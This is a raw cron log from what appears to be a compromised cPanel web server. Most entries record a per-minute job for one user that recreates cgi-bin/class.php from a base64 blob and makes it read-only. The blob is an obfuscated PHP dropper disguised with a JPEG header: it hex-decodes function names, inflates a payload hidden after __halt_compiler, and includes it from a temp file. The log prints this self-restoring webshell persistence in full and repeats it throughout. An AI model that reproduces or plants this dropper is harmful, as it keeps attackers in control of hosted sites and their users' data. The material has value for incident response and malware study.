Nov 12 11:00:01 server CROND[30273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:01:01 server CROND[31142]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 11:01:01 server CROND[31143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:01:01 server run-parts(/etc/cron.hourly)[31142]: starting 0anacron
Nov 12 11:01:01 server run-parts(/etc/cron.hourly)[31156]: finished 0anacron
Nov 12 11:02:01 server CROND[32171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:03:01 server CROND[540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:04:01 server CROND[1389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:05:01 server CROND[2221]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 11:05:01 server CROND[2223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:05:01 server CROND[2222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:05:01 server CROND[2225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 11:05:01 server CROND[2226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:06:01 server CROND[3209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:07:01 server CROND[4038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:08:01 server CROND[4865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:09:01 server CROND[5750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:09:01 server CROND[5751]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 11:09:01 server CROND[5752]: (root) CMD (/usr/sbin/csf -u)
Nov 12 11:10:01 server CROND[6598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:10:01 server CROND[6599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:10:01 server CROND[6600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:10:01 server CROND[6601]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 11:11:01 server CROND[7583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:12:01 server CROND[8422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:12:01 server CROND[8423]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
